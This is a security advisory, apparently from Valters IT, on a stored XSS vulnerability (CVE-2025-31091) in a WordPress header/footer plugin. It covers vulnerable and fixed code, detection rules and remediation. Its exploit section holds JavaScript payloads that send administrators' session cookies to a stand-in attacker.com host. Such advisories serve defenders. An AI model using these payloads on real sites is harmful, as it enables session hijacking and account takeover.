CVE-2025-31091

Executive Summary

CVE-2025-31091 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "CM Header and Footer" (cm-header-footer-script-loader) by CreativeMindsSolutions, affecting versions up to and including 1.2.4. This vulnerability allows an authenticated attacker with at least Contributor-level privileges to inject arbitrary JavaScript into the plugin’s header/footer script fields. When an administrator or other user views the affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and carries a CVSS v3.1 score of 6.5 (Medium). The EPSS probability is 0.0%, indicating low active exploitation in the wild, but the lack of a vendor patch makes this a persistent risk for any WordPress site using the plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: the vendor (CreativeMindsSolutions) has not released a patch, and the plugin may be bundled in WordPress themes or managed hosting environments. Administrators should treat this as a high-risk supply chain component and consider removing the plugin entirely.

CVSS Breakdown & Threat Level

Threat Level: Medium. While the CVSS score is moderate, the Stored XSS nature means the payload persists and can affect multiple users over time. The lack of a patch elevates the real-world risk.

Deep Dive & Mechanics

The plugin "CM Header and Footer" allows site administrators to inject custom JavaScript or CSS into the <head> and footer of WordPress pages. The vulnerability lies in the input sanitization of the script fields. The plugin fails to properly escape or validate user-supplied content before storing it in the database and rendering it on the frontend.

Attack Flow:

1. An attacker with Contributor or higher privileges navigates to the plugin settings page (e.g., /wp-admin/admin.php?page=cm-header-footer-script-loader).
2. The attacker injects a malicious JavaScript payload into the "Header Script" or "Footer Script" textarea, such as:

   <script>alert('XSS')</script>
   

3. The plugin stores the payload as-is in the wp_options table (or similar).
4. When any user (including administrators) visits any page on the site, the plugin outputs the stored script without sanitization, executing the attacker’s code in the victim’s browser.

Why It Works:

• The plugin uses echo or print directly on the stored value without passing it through esc_js(), wp_kses(), or any WordPress sanitization function.
• The vulnerability is Stored XSS because the payload is saved and served to all subsequent visitors.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.2.4):

// In cm-header-footer-script-loader.php (simplified)
function cm_hf_output_header() {
    $header_script = get_option('cm_hf_header_script');
    echo $header_script; // No sanitization!
}

Patched Code (hypothetical fix):

function cm_hf_output_header() {
    $header_script = get_option('cm_hf_header_script');
    echo wp_kses_post($header_script); // Sanitize with allowed HTML
    // OR use esc_js() if only JavaScript is expected
}

Key Difference: The patched version uses wp_kses_post() to strip dangerous tags (like <script>) while preserving safe HTML. Alternatively, esc_js() would escape the output for JavaScript context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with CM Header and Footer plugin <= 1.2.4
• Attacker account with Contributor role or higher

Exploit Steps:

1. Log in as a Contributor.
2. Navigate to Settings > CM Header and Footer.
3. In the "Header Script" field, inject a payload:

   <script>
       fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

4. Click "Save Changes".
5. Wait for an administrator to visit any frontend page. The script executes, sending the admin’s session cookie to the attacker.

Advanced Payload (session hijacking):

<script>
    var img = new Image();
    img.src = 'https://attacker.com/log?data=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual script content in wp_options where option_name like %cm_hf%.
• Look for HTTP requests to unknown external domains from the WordPress admin panel.

Hardening:

• Immediate: Disable or remove the plugin.
• Alternative: Use a different plugin for header/footer injection (e.g., "Insert Headers and Footers" by WPBeginner).
• WAF Rule: Block requests containing <script> in POST data to /wp-admin/admin.php?page=cm-header-footer-script-loader.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_31091_Stored_XSS {
    meta:
        description = "Detects malicious script injection in CM Header and Footer plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31091"
    strings:
        $option_name = "cm_hf_header_script" nocase
        $option_name2 = "cm_hf_footer_script" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        ($option_name or $option_name2) and $xss_payload
}

Sigma Rule

title: CVE-2025-31091 - Stored XSS in CM Header and Footer Plugin
id: 8a7b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects stored XSS payloads in WordPress CM Header and Footer plugin options
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name:
            - 'cm_hf_header_script'
            - 'cm_hf_footer_script'
        option_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in header/footer (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31091 - Stored XSS Exfiltration from CM Header and Footer"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page=cm-header-footer-script-loader"; http_uri; content:"<script"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the plugin: wp plugin deactivate cm-header-footer-script-loader or delete via /wp-admin/plugins.php.
2. Audit the wp_options table for any stored malicious scripts and delete them.
3. Change all admin passwords if compromise is suspected.

Long-term Fix:

• Since no patch is available, migrate to a maintained alternative like "Insert Headers and Footers" by WPBeginner.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in plugin settings POST requests.
• Enforce Content Security Policy (CSP) headers to restrict script execution.

Vendor Contact:

• Attempt to contact CreativeMindsSolutions via their support channels. If unresponsive, report the vulnerability to the WordPress Plugin Review Team for potential removal from the repository.

Valters IT